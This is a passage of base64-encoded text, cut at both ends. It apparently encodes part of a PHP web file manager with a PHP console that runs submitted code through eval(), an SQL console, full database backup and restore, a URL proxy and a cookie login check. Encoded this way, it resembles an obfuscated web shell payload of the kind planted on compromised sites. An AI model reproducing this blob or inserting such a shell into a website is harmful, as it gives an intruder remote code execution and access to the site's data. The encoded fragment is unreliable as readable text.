sb3NlZGlyKCRmaCk7DQoJCW5hdHNvcnQoJGRpcik7DQoJfQ0KCXJldHVybiAkZGlyOw0KfQ0KDQpmdW5jdGlvbiBmbV9saW5rKCRnZXQsJGxpbmssJG5hbWUsJHRpdGxlPScnKSB7DQoJaWYgKGVtcHR5KCR0aXRsZSkpICR0aXRsZT0kbmFtZS4nICcuYmFzZW5hbWUoJGxpbmspOw0KCXJldHVybiAnJm5ic3A7Jm5ic3A7PGEgaHJlZj0iPycuJGdldC4nPScuYmFzZTY0X2VuY29kZSgkbGluaykuJyIgdGl0bGU9IicuJHRpdGxlLiciPicuJG5hbWUuJzwvYT4nOw0KfQ0KDQpmdW5jdGlvbiBmbV9hcnJfdG9fb3B0aW9uKCRhcnIsJG4sJHNlbD0nJyl7DQoJZm9yZWFjaCgkYXJyIGFzICR2KXsNCgkJJGI9JHZbJG5dOw0KCQkkcmVzLj0nPG9wdGlvbiB2YWx1ZT0iJy4kYi4nIiAnLigkc2VsICYmICRzZWw9PSRiPydzZWxlY3RlZCc6JycpLic+Jy4kYi4nPC9vcHRpb24+JzsNCgl9DQoJcmV0dXJuICRyZXM7DQp9DQoNCmZ1bmN0aW9uIGZtX2xhbmdfZm9ybSAoJGN1cnJlbnQ9J2VuJyl7DQpyZXR1cm4gJw0KPGZvcm0gbmFtZT0iY2hhbmdlX2xhbmciIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KCTxzZWxlY3QgbmFtZT0iZm1fbGFuZyIgdGl0bGU9IicuX18oJ0xhbmd1YWdlJykuJyIgb25jaGFuZ2U9ImRvY3VtZW50LmZvcm1zW1wnY2hhbmdlX2xhbmdcJ10uc3VibWl0KCkiID4NCgkJPG9wdGlvbiB2YWx1ZT0iZW4iICcuKCRjdXJyZW50PT0nZW4nPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic+Jy5fXygnRW5nbGlzaCcpLic8L29wdGlvbj4NCgkJPG9wdGlvbiB2YWx1ZT0iZGUiICcuKCRjdXJyZW50PT0nZGUnPydzZWxlY3RlZD0ic2VsZWN0ZWQiICc6JycpLic+Jy5fXygnR2VybWFuJykuJzwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSJydSIgJy4oJGN1cnJlbnQ9PSdydSc/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdSdXNzaWFuJykuJzwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPSJmciIgJy4oJGN1cnJlbnQ9PSdmcic/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdGcmVuY2gnKS4nPC9vcHRpb24+DQoJCTxvcHRpb24gdmFsdWU9InVrIiAnLigkY3VycmVudD09J3VrJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ1VrcmFpbmlhbicpLic8L29wdGlvbj4NCgk8L3NlbGVjdD4NCjwvZm9ybT4NCic7DQp9DQoJDQpmdW5jdGlvbiBmbV9yb290KCRkaXJuYW1lKXsNCglyZXR1cm4gKCRkaXJuYW1lPT0nLicgT1IgJGRpcm5hbWU9PScuLicpOw0KfQ0KDQpmdW5jdGlvbiBmbV9waHAoJHN0cmluZyl7DQoJJGRpc3BsYXlfZXJyb3JzPWluaV9nZXQoJ2Rpc3BsYXlfZXJyb3JzJyk7DQoJaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAnMScpOw0KCW9iX3N0YXJ0KCk7DQoJZXZhbCh0cmltKCRzdHJpbmcpKTsNCgkkdGV4dCA9IG9iX2dldF9jb250ZW50cygpOw0KCW9iX2VuZF9jbGVhbigpOw0KCWluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJGRpc3BsYXlfZXJyb3JzKTsNCglyZXR1cm4gJHRleHQ7DQp9DQoNCi8vU0hPVyBEQVRBQkFTRVMNCmZ1bmN0aW9uIGZtX3NxbF9jb25uZWN0KCl7DQoJZ2xvYmFsICRmbV9jb25maWc7DQoJcmV0dXJuIG5ldyBteXNxbGkoJGZtX2NvbmZpZ1snc3FsX3NlcnZlciddLCAkZm1fY29uZmlnWydzcWxfdXNlcm5hbWUnXSwgJGZtX2NvbmZpZ1snc3FsX3Bhc3N3b3JkJ10sICRmbV9jb25maWdbJ3NxbF9kYiddKTsNCn0NCg0KZnVuY3Rpb24gZm1fc3FsKCRxdWVyeSl7DQoJZ2xvYmFsICRmbV9jb25maWc7DQoJJHF1ZXJ5PXRyaW0oJHF1ZXJ5KTsNCglvYl9zdGFydCgpOw0KCSRjb25uZWN0aW9uID0gZm1fc3FsX2Nvbm5lY3QoKTsNCglpZiAoJGNvbm5lY3Rpb24tPmNvbm5lY3RfZXJyb3IpIHsNCgkJb2JfZW5kX2NsZWFuKCk7CQ0KCQlyZXR1cm4gJGNvbm5lY3Rpb24tPmNvbm5lY3RfZXJyb3I7DQoJfQ0KCSRjb25uZWN0aW9uLT5zZXRfY2hhcnNldCgndXRmOCcpOw0KICAgICRxdWVyaWVkID0gbXlzcWxpX3F1ZXJ5KCRjb25uZWN0aW9uLCRxdWVyeSk7DQoJaWYgKCRxdWVyaWVkPT09ZmFsc2UpIHsNCgkJb2JfZW5kX2NsZWFuKCk7CQ0KCQlyZXR1cm4gbXlzcWxpX2Vycm9yKCRjb25uZWN0aW9uKTsNCiAgICB9IGVsc2Ugew0KCQlpZighZW1wdHkoJHF1ZXJpZWQpKXsNCgkJCXdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHF1ZXJpZWQpKSB7DQoJCQkJJHF1ZXJ5X3Jlc3VsdFtdPSAgJHJvdzsNCgkJCX0NCgkJfQ0KCQkkdmR1bXA9ZW1wdHkoJHF1ZXJ5X3Jlc3VsdCk/Jyc6dmFyX2V4cG9ydCgkcXVlcnlfcmVzdWx0LHRydWUpOwkNCgkJb2JfZW5kX2NsZWFuKCk7CQ0KCQkkY29ubmVjdGlvbi0+Y2xvc2UoKTsNCgkJcmV0dXJuICc8cHJlPicuc3RyaXBzbGFzaGVzKCR2ZHVtcCkuJzwvcHJlPic7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBmbV9iYWNrdXBfdGFibGVzKCR0YWJsZXMgPSAnKicsICRmdWxsX2JhY2t1cCA9IHRydWUpIHsNCglnbG9iYWwgJHBhdGg7DQoJJG15c3FsZGIgPSBmbV9zcWxfY29ubmVjdCgpOw0KCSRkZWxpbWl0ZXIgPSAiOyBcbiAgXG4iOw0KCWlmKCR0YWJsZXMgPT0gJyonKQl7DQoJCSR0YWJsZXMgPSBhcnJheSgpOw0KCQkkcmVzdWx0ID0gJG15c3FsZGItPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOw0KCQl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkJew0KCQkJJHRhYmxlc1tdID0gJHJvd1swXTsNCgkJfQ0KCX0gZWxzZSB7DQoJCSR0YWJsZXMgPSBpc19hcnJheSgkdGFibGVzKSA/ICR0YWJsZXMgOiBleHBsb2RlKCcsJywkdGFibGVzKTsNCgl9DQogICAgDQoJJHJldHVybj0nJzsNCglmb3JlYWNoKCR0YWJsZXMgYXMgJHRhYmxlKQl7DQoJCSRyZXN1bHQgPSAkbXlzcWxkYi0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOw0KCQkkbnVtX2ZpZWxkcyA9IG15c3FsaV9udW1fZmllbGRzKCRyZXN1bHQpOw0KCQkkcmV0dXJuLj0gJ0RST1AgVEFCTEUgSUYgRVhJU1RTIGAnLiR0YWJsZS4nYCcuJGRlbGltaXRlcjsNCgkJJHJvdzIgPSBteXNxbGlfZmV0Y2hfcm93KCRteXNxbGRiLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgJy4kdGFibGUpKTsNCgkJJHJldHVybi49JHJvdzJbMV0uJGRlbGltaXRlcjsNCiAgICAgICAgaWYgKCRmdWxsX2JhY2t1cCkgew0KCQlmb3IgKCRpID0gMDsgJGkgPCAkbnVtX2ZpZWxkczsgJGkrKykgIHsNCgkJCXdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfcm93KCRyZXN1bHQpKSB7DQoJCQkJJHJldHVybi49ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgVkFMVUVTKCc7DQoJCQkJZm9yKCRqPTA7ICRqPCRudW1fZmllbGRzOyAkaisrKQl7DQoJCQkJCSRyb3dbJGpdID0gYWRkc2xhc2hlcygkcm93WyRqXSk7DQoJCQkJCSRyb3dbJGpdID0gc3RyX3JlcGxhY2UoIlxuIiwiXFxuIiwkcm93WyRqXSk7DQoJCQkJCWlmIChpc3NldCgkcm93WyRqXSkpIHsgJHJldHVybi49ICciJy4kcm93WyRqXS4nIicgOyB9IGVsc2UgeyAkcmV0dXJuLj0gJyIiJzsgfQ0KCQkJCQlpZiAoJGo8KCRudW1fZmllbGRzLTEpKSB7ICRyZXR1cm4uPSAnLCc7IH0NCgkJCQl9DQoJCQkJJHJldHVybi49ICcpJy4kZGVsaW1pdGVyOw0KCQkJfQ0KCQkgIH0NCgkJfSBlbHNlIHsgDQoJCSRyZXR1cm4gPSBwcmVnX3JlcGxhY2UoIiNBVVRPX0lOQ1JFTUVOVD1bXGRdKyAjaXMiLCAnJywgJHJldHVybik7DQoJCX0NCgkJJHJldHVybi49IlxuXG5cbiI7DQoJfQ0KDQoJLy9zYXZlIGZpbGUNCiAgICAkZmlsZT1nbWRhdGUoIlktbS1kX0gtaS1zIix0aW1lKCkpLicuc3FsJzsNCgkkaGFuZGxlID0gZm9wZW4oJGZpbGUsJ3crJyk7DQoJZndyaXRlKCRoYW5kbGUsJHJldHVybik7DQoJZmNsb3NlKCRoYW5kbGUpOw0KCSRhbGVydCA9ICdvbkNsaWNrPSJpZihjb25maXJtKFwnJy4gX18oJ0ZpbGUgc2VsZWN0ZWQnKS4nOiBcbicuICRmaWxlLiAnLiBcbicuX18oJ0FyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlPycpIC4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnP2RlbGV0ZT0nIC4gJGZpbGUgLiAnJnBhdGg9JyAuICRwYXRoICAuICdcJyInOw0KICAgIHJldHVybiAkZmlsZS4nOiAnLmZtX2xpbmsoJ2Rvd25sb2FkJywkcGF0aC4kZmlsZSxfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuJGZpbGUpLicgPGEgaHJlZj0iIyIgdGl0bGU9IicgLiBfXygnRGVsZXRlJykgLiAnICcuICRmaWxlIC4gJyIgJyAuICRhbGVydCAuICc+JyAuIF9fKCdEZWxldGUnKSAuICc8L2E+JzsNCn0NCg0KZnVuY3Rpb24gZm1fcmVzdG9yZV90YWJsZXMoJHNxbEZpbGVUb0V4ZWN1dGUpIHsNCgkkbXlzcWxkYiA9IGZtX3NxbF9jb25uZWN0KCk7DQoJJGRlbGltaXRlciA9ICI7IFxuICBcbiI7DQogICAgLy8gTG9hZCBhbmQgZXhwbG9kZSB0aGUgc3FsIGZpbGUNCiAgICAkZiA9IGZvcGVuKCRzcWxGaWxlVG9FeGVjdXRlLCJyKyIpOw0KICAgICRzcWxGaWxlID0gZnJlYWQoJGYsZmlsZXNpemUoJHNxbEZpbGVUb0V4ZWN1dGUpKTsNCiAgICAkc3FsQXJyYXkgPSBleHBsb2RlKCRkZWxpbWl0ZXIsJHNxbEZpbGUpOw0KCQ0KICAgIC8vUHJvY2VzcyB0aGUgc3FsIGZpbGUgYnkgc3RhdGVtZW50cw0KICAgIGZvcmVhY2ggKCRzcWxBcnJheSBhcyAkc3RtdCkgew0KICAgICAgICBpZiAoc3RybGVuKCRzdG10KT4zKXsNCgkJCSRyZXN1bHQgPSAkbXlzcWxkYi0+cXVlcnkoJHN0bXQpOw0KCQkJCWlmICghJHJlc3VsdCl7DQoJCQkJCSRzcWxFcnJvckNvZGUgPSBteXNxbGlfZXJybm8oJG15c3FsZGItPmNvbm5lY3Rpb24pOw0KCQkJCQkkc3FsRXJyb3JUZXh0ID0gbXlzcWxpX2Vycm9yKCRteXNxbGRiLT5jb25uZWN0aW9uKTsNCgkJCQkJJHNxbFN0bXQgICAgICA9ICRzdG10Ow0KCQkJCQlicmVhazsNCiAgICAgICAgICAgCSAgICAgfQ0KICAgICAgICAgICAJICB9DQogICAgICAgICAgIH0NCmlmIChlbXB0eSgkc3FsRXJyb3JDb2RlKSkgcmV0dXJuIF9fKCdTdWNjZXNzJykuJyDigJQgJy4kc3FsRmlsZVRvRXhlY3V0ZTsNCmVsc2UgcmV0dXJuICRzcWxFcnJvclRleHQuJzxici8+Jy4kc3RtdDsNCn0NCg0KZnVuY3Rpb24gZm1faW1nX2xpbmsoJGZpbGVuYW1lKXsNCglyZXR1cm4gJy4vJy5iYXNlbmFtZShfX0ZJTEVfXykuJz9pbWc9Jy5iYXNlNjRfZW5jb2RlKCRmaWxlbmFtZSk7DQp9DQoNCmZ1bmN0aW9uIGZtX2hvbWVfc3R5bGUoKXsNCglyZXR1cm4gJw0KaW5wdXQsIGlucHV0LmZtX2lucHV0IHsNCgl0ZXh0LWluZGVudDogMnB4Ow0KfQ0KDQppbnB1dCwgdGV4dGFyZWEsIHNlbGVjdCwgaW5wdXQuZm1faW5wdXQgew0KCWNvbG9yOiBibGFjazsNCglmb250OiBub3JtYWwgOHB0IFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoJYm9yZGVyLWNvbG9yOiBibGFjazsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjRkNGQ0ZDIG5vbmUgIWltcG9ydGFudDsNCglib3JkZXItcmFkaXVzOiAwOw0KCXBhZGRpbmc6IDJweDsNCn0NCg0KaW5wdXQuZm1faW5wdXQgew0KCWJhY2tncm91bmQ6ICNGQ0ZDRkMgbm9uZSAhaW1wb3J0YW50Ow0KCWN1cnNvcjogcG9pbnRlcjsNCn0NCg0KLmhvbWUgew0KCWJhY2tncm91bmQtaW1hZ2U6IHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FNQUFBQW9MUTlUQUFBQUJHZEJUVUVBQUsvSU53V0s2UUFBQWdSUVRGUkYvZjM5Nk9qby8vLy90VDAyenIrZnc2NlJ0ajQzMlRFcDNNWEUyREFyM1RZcDF5NG10RHcyLzdCTS83Qk9xVnBjLzhsMzFqY3FxNmVud2NIQjJUZ2k1amdxVnBiRnZyYTJuQkFWL1B6ODJTMGpueDBXM1RVa3FTZ2k0ZUhoNFRzcmU0d29zejAyNnVQanpHWWQ2VXMzeW5BeWRVQkE1S2wzZm01ZXFaYVc3T0RnaTJWZytQajR1WStFd0xtNWJZOVUvLzdqZkx0Qyt0T0szamNtLzcxdTJqWW8xVVloNWFKbC9zZUMzakVtMTJrbUpySUExak1tLzlhVTRMaDBlMDFCbElhRS8vL2RoTWRDN0lBLy9mVFoyYzNNVzZuTjMwd2Y5NVZkNEpkWG9YVm9zOG5FNGVmTi8rNjNJSmdTbllobDdGNGNzWHQ4OUdRVXdMKy9qbDFjNDFBcStmYjJnbXRJMXJLYTJDNGtKYUlBM2pZcmxUdzV0ajQyM2pZbjNjWEUxelFveE1IQnAxbFozRGdtcWlrcy8rbWNqTEs4M2pZa3ltTVYzVFlrLy9ITSt1N1dobXRyMG9kVHBhT2pmV0pmckhwZy84QnMvN3RXLzdWZSs0VTUyRE1tM01MQm40cUxnTlZNNk16QjNsRWZsSXVMLytqQS8vLzIwTE96alh4OC83bGJXcEpHMkM4azNUb3NKS01BMXl3am9wT1IxellwNURzcGlheSt5S05ocUtTazhOVzYvZmpuczdPejJ0blp1ejg4N2IrVzNhUlkvK21zNHJDRTNUb3Q3Vjg1Ykt4anVFQTN3NDVWaDV1aHE2YW00Y0Z4Z1paVy85cUl1d2dLeTBzVyt1alQ0VFFudHo0MjNDOGkzelVqLytLdy9hNWQ2VU14dUw2d3pERXIvLy8vY3FKUWZBQUFBS3gwVWs1VC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL0FBV1ZGYkVBQUFBWmRFVllkRk52Wm5SM1lYSmxBRUZrYjJKbElFbHRZV2RsVW1WaFpIbHh5V1U4QUFBQTJVbEVRVlFvVTJOWWpRWVlzQWlFOFU5WXpEWWpWcEdaUnhNaUVDaXRNclZadm9NclRsUTJFU1JRSjJGVndpbllibXFUVUxvb2huRTFnMWFLR1MvZk5NdGs0MHlaOUtWTFFoZ1lrdVk3TnhRdlh5SFZGTm5LelI2OXFweEJQTWV6MEVUQVF5VFV2U29nYUlGYVBjTnFWL001ZGhhMlJsMlRpbWI2WitRQkRZMVhOL1NidTh4RkxHM2VMRGZsMlVBQmppbE8xbzAxMlozZWsxbFpWSVdBQW1VVEs2TDBzM3BYK2pqNnB1WjJBd1dVdkJSYXBoc3dNZFV1akNpd0R3YTVWRWRQSTd5blVsYzd2MXFZVVJMcXVmNDJoejQ1Q0JQRHR3QUNybStSRGN4SllBQUFBQUJKUlU1RXJrSmdnZz09Iik7DQoJYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsNCn0nOw0KfQ0KDQpmdW5jdGlvbiBmbV9jb25maWdfY2hlY2tib3hfcm93KCRuYW1lLCR2YWx1ZSkgew0KCWdsb2JhbCAkZm1fY29uZmlnOw0KCXJldHVybiAnPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IGlkPSJmbV9jb25maWdfJy4kdmFsdWUuJyIgbmFtZT0iZm1fY29uZmlnWycuJHZhbHVlLiddIiB2YWx1ZT0iMSIgJy4oZW1wdHkoJGZtX2NvbmZpZ1skdmFsdWVdKT8nJzonY2hlY2tlZD0idHJ1ZSInKS4nIHR5cGU9ImNoZWNrYm94Ij48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PGxhYmVsIGZvcj0iZm1fY29uZmlnXycuJHZhbHVlLiciPicuJG5hbWUuJzwvdGQ+PC90cj4nOw0KfQ0KDQpmdW5jdGlvbiBmbV9wcm90b2NvbCgpIHsNCglpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfU0NIRU1FJ10pKSByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfU0NIRU1FJ10uJzovLyc7DQoJaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMnXSA9PSAnb24nKSByZXR1cm4gJ2h0dHBzOi8vJzsNCglpZiAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pICYmICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IDQ0MykgcmV0dXJuICdodHRwczovLyc7DQoJaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10pICYmICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX1BST1RPJ10gPT0gJ2h0dHBzJykgcmV0dXJuICdodHRwczovLyc7DQoJcmV0dXJuICdodHRwOi8vJzsNCn0NCg0KZnVuY3Rpb24gZm1fc2l0ZV91cmwoKSB7DQoJcmV0dXJuIGZtX3Byb3RvY29sKCkuJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KfQ0KDQpmdW5jdGlvbiBmbV91cmwoJGZ1bGw9ZmFsc2UpIHsNCgkkaG9zdD0kZnVsbD9mbV9zaXRlX3VybCgpOicuJzsNCglyZXR1cm4gJGhvc3QuJy8nLmJhc2VuYW1lKF9fRklMRV9fKTsNCn0NCg0KZnVuY3Rpb24gZm1faG9tZSgkZnVsbD1mYWxzZSl7DQoJcmV0dXJuICcmbmJzcDs8YSBocmVmPSInLmZtX3VybCgkZnVsbCkuJyIgdGl0bGU9IicuX18oJ0hvbWUnKS4nIj48c3BhbiBjbGFzcz0iaG9tZSI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9zcGFuPjwvYT4nOw0KfQ0KDQpmdW5jdGlvbiBmbV9ydW5faW5wdXQoJGxuZykgew0KCWdsb2JhbCAkZm1fY29uZmlnOw0KCSRyZXR1cm4gPSAhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlXycuJGxuZy4nX2NvbnNvbGUnXSkgPyANCgknDQoJCQkJPGZvcm0gIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInLmZtX3VybCgpLiciIHN0eWxlPSJkaXNwbGF5OmlubGluZSI+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iJy4kbG5nLidydW4iIHZhbHVlPSInLnN0cnRvdXBwZXIoJGxuZykuJyAnLl9fKCdDb25zb2xlJykuJyI+DQoJCQkJPC9mb3JtPg0KJyA6ICcnOw0KCXJldHVybiAkcmV0dXJuOw0KfQ0KDQpmdW5jdGlvbiBmbV91cmxfcHJveHkoJG1hdGNoZXMpIHsNCgkkbGluayA9IHN0cl9yZXBsYWNlKCcmYW1wOycsJyYnLCRtYXRjaGVzWzJdKTsNCgkkdXJsID0gaXNzZXQoJF9HRVRbJ3VybCddKT8kX0dFVFsndXJsJ106Jyc7DQoJJHBhcnNlX3VybCA9IHBhcnNlX3VybCgkdXJsKTsNCgkkaG9zdCA9ICRwYXJzZV91cmxbJ3NjaGVtZSddLic6Ly8nLiRwYXJzZV91cmxbJ2hvc3QnXS4nLyc7DQoJaWYgKHN1YnN0cigkbGluaywwLDIpPT0nLy8nKSB7DQoJCSRsaW5rID0gc3Vic3RyX3JlcGxhY2UoJGxpbmssZm1fcHJvdG9jb2woKSwwLDIpOw0KCX0gZWxzZWlmIChzdWJzdHIoJGxpbmssMCwxKT09Jy8nKSB7DQoJCSRsaW5rID0gc3Vic3RyX3JlcGxhY2UoJGxpbmssJGhvc3QsMCwxKTsJDQoJfSBlbHNlaWYgKHN1YnN0cigkbGluaywwLDIpPT0nLi8nKSB7DQoJCSRsaW5rID0gc3Vic3RyX3JlcGxhY2UoJGxpbmssJGhvc3QsMCwyKTsJDQoJfSBlbHNlaWYgKHN1YnN0cigkbGluaywwLDQpPT0naHR0cCcpIHsNCgkJLy9hbGxlcyBtYWNoZW4gd3VuZGVyc2Nob24NCgl9IGVsc2Ugew0KCQkkbGluayA9ICRob3N0LiRsaW5rOw0KCX0gDQoJaWYgKCRtYXRjaGVzWzFdPT0naHJlZicgJiYgIXN0cnJpcG9zKCRsaW5rLCAnY3NzJykpIHsNCgkJJGJhc2UgPSBmbV9zaXRlX3VybCgpLicvJy5iYXNlbmFtZShfX0ZJTEVfXyk7DQoJCSRiYXNlcSA9ICRiYXNlLic/cHJveHk9dHJ1ZSZ1cmw9JzsNCgkJJGxpbmsgPSAkYmFzZXEudXJsZW5jb2RlKCRsaW5rKTsNCgl9IGVsc2VpZiAoc3Rycmlwb3MoJGxpbmssICdjc3MnKSl7DQoJCS8v0LrQsNC6LdGC0L4g0YLQvtC20LUg0L/QvtC00LzQtdC90Y/RgtGMINC90LDQtNC+DQoJfQ0KCXJldHVybiAkbWF0Y2hlc1sxXS4nPSInLiRsaW5rLiciJzsNCn0NCiANCmZ1bmN0aW9uIGZtX3RwbF9mb3JtKCRsbmdfdHBsKSB7DQoJZ2xvYmFsICR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfTsNCgkkdHBsX2FyciA9IGpzb25fZGVjb2RlKCR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSx0cnVlKTsNCgkkc3RyID0gJyc7DQoJZm9yZWFjaCAoJHRwbF9hcnIgYXMgJGt0cGw9PiR2dHBsKSB7DQoJCSRzdHIgLj0gJzx0cj48dGQgY2xhc3M9InJvdzEiPjxpbnB1dCBuYW1lPSInLiRsbmdfdHBsLidfbmFtZVtdIiB2YWx1ZT0iJy4ka3RwbC4nIj48L3RkPjx0ZCBjbGFzcz0icm93MiB3aG9sZSI+PHRleHRhcmVhIG5hbWU9IicuJGxuZ190cGwuJ192YWx1ZVtdIiAgY29scz0iNTUiIHJvd3M9IjUiIGNsYXNzPSJ0ZXh0YXJlYV9pbnB1dCI+Jy4kdnRwbC4nPC90ZXh0YXJlYT4gPGlucHV0IG5hbWU9ImRlbF8nLnJhbmQoKS4nIiB0eXBlPSJidXR0b24iIG9uQ2xpY2s9InRoaXMucGFyZW50Tm9kZS5wYXJlbnROb2RlLnJlbW92ZSgpOyIgdmFsdWU9IicuX18oJ0RlbGV0ZScpLiciLz48L3RkPjwvdHI+JzsNCgl9DQpyZXR1cm4gJw0KPHRhYmxlPg0KPHRyPjx0aCBjb2xzcGFuPSIyIj4nLnN0cnRvdXBwZXIoJGxuZ190cGwpLicgJy5fXygndGVtcGxhdGVzJykuJyAnLmZtX3J1bl9pbnB1dCgkbG5nX3RwbCkuJzwvdGg+PC90cj4NCjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgdmFsdWU9IicuJGxuZ190cGwuJyIgbmFtZT0idHBsX2VkaXRlZCI+DQo8dHI+PHRkIGNsYXNzPSJyb3cxIj4nLl9fKCdOYW1lJykuJzwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj4nLl9fKCdWYWx1ZScpLic8L3RkPjwvdHI+DQonLiRzdHIuJw0KPHRyPjx0ZCBjb2xzcGFuPSIyIiBjbGFzcz0icm93MyI+PGlucHV0IG5hbWU9InJlcyIgdHlwZT0iYnV0dG9uIiBvbkNsaWNrPSJkb2N1bWVudC5sb2NhdGlvbi5ocmVmID0gXCcnLmZtX3VybCgpLic/Zm1fc2V0dGluZ3M9dHJ1ZVwnOyIgdmFsdWU9IicuX18oJ1Jlc2V0JykuJyIvPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnU2F2ZScpLiciID48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIHZhbHVlPSInLiRsbmdfdHBsLiciIG5hbWU9InRwbF9lZGl0ZWQiPg0KPHRyPjx0ZCBjbGFzcz0icm93MSI+PGlucHV0IG5hbWU9IicuJGxuZ190cGwuJ19uZXdfbmFtZSIgdmFsdWU9IiIgcGxhY2Vob2xkZXI9IicuX18oJ05ldycpLicgJy5fXygnTmFtZScpLiciPjwvdGQ+PHRkIGNsYXNzPSJyb3cyIHdob2xlIj48dGV4dGFyZWEgbmFtZT0iJy4kbG5nX3RwbC4nX25ld192YWx1ZSIgIGNvbHM9IjU1IiByb3dzPSI1IiBjbGFzcz0idGV4dGFyZWFfaW5wdXQiIHBsYWNlaG9sZGVyPSInLl9fKCdOZXcnKS4nICcuX18oJ1ZhbHVlJykuJyI+PC90ZXh0YXJlYT48L3RkPjwvdHI+DQo8dHI+PHRkIGNvbHNwYW49IjIiIGNsYXNzPSJyb3czIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnQWRkJykuJyIgPjwvdGQ+PC90cj4NCjwvZm9ybT4NCjwvdGFibGU+DQonOw0KfQ0KDQovKiBFbmQgRnVuY3Rpb25zICovDQoNCi8vIGF1dGhvcml6YXRpb24NCmlmICgkYXV0aFsnYXV0aG9yaXplJ10pIHsNCglpZiAoaXNzZXQoJF9QT1NUWydsb2dpbiddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3N3b3JkJ10pKXsNCgkJaWYgKCgkX1BPU1RbJ2xvZ2luJ109PSRhdXRoWydsb2dpbiddKSAmJiAoJF9QT1NUWydwYXNzd29yZCddPT0kYXV0aFsncGFzc3dvcmQnXSkpIHsNCgkJCXNldGNvb2tpZSgkYXV0aFsnY29va2llX25hbWUnXSwgJGF1dGhbJ2xvZ2luJ10uJ3wnLm1kNSgkYXV0aFsncGFzc3dvcmQnXSksIHRpbWUoKSArICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOw0KCQkJJF9DT09LSUVbJGF1dGhbJ2Nvb2tpZV9uYW1lJ11dPSRhdXRoWydsb2dpbiddLid8Jy5tZDUoJGF1dGhbJ3Bhc3N3b3JkJ10pOw0KCQl9DQoJfQ0KCWlmICghaXNzZXQoJF9DT09LSUVbJGF1dGhbJ2Nvb2tpZV9uYW1lJ11dKSBPUiAoJF9DT09LSUVbJGF1dGhbJ2Nvb2tpZV9uYW1lJ11dIT0kYXV0aFsnbG9naW4nXS4nfCcubWQ1KCRhdXRoWydwYXNzd29yZCddKSkpIHsNCgkJZWNobyAnDQo8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4NCjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSIgLz4NCjx0aXRsZT4nLl9fKCdGaWxlIG1hbmFnZXInKS4nPC90aXRsZT4NCjwvaGVhZD4NCjxib2R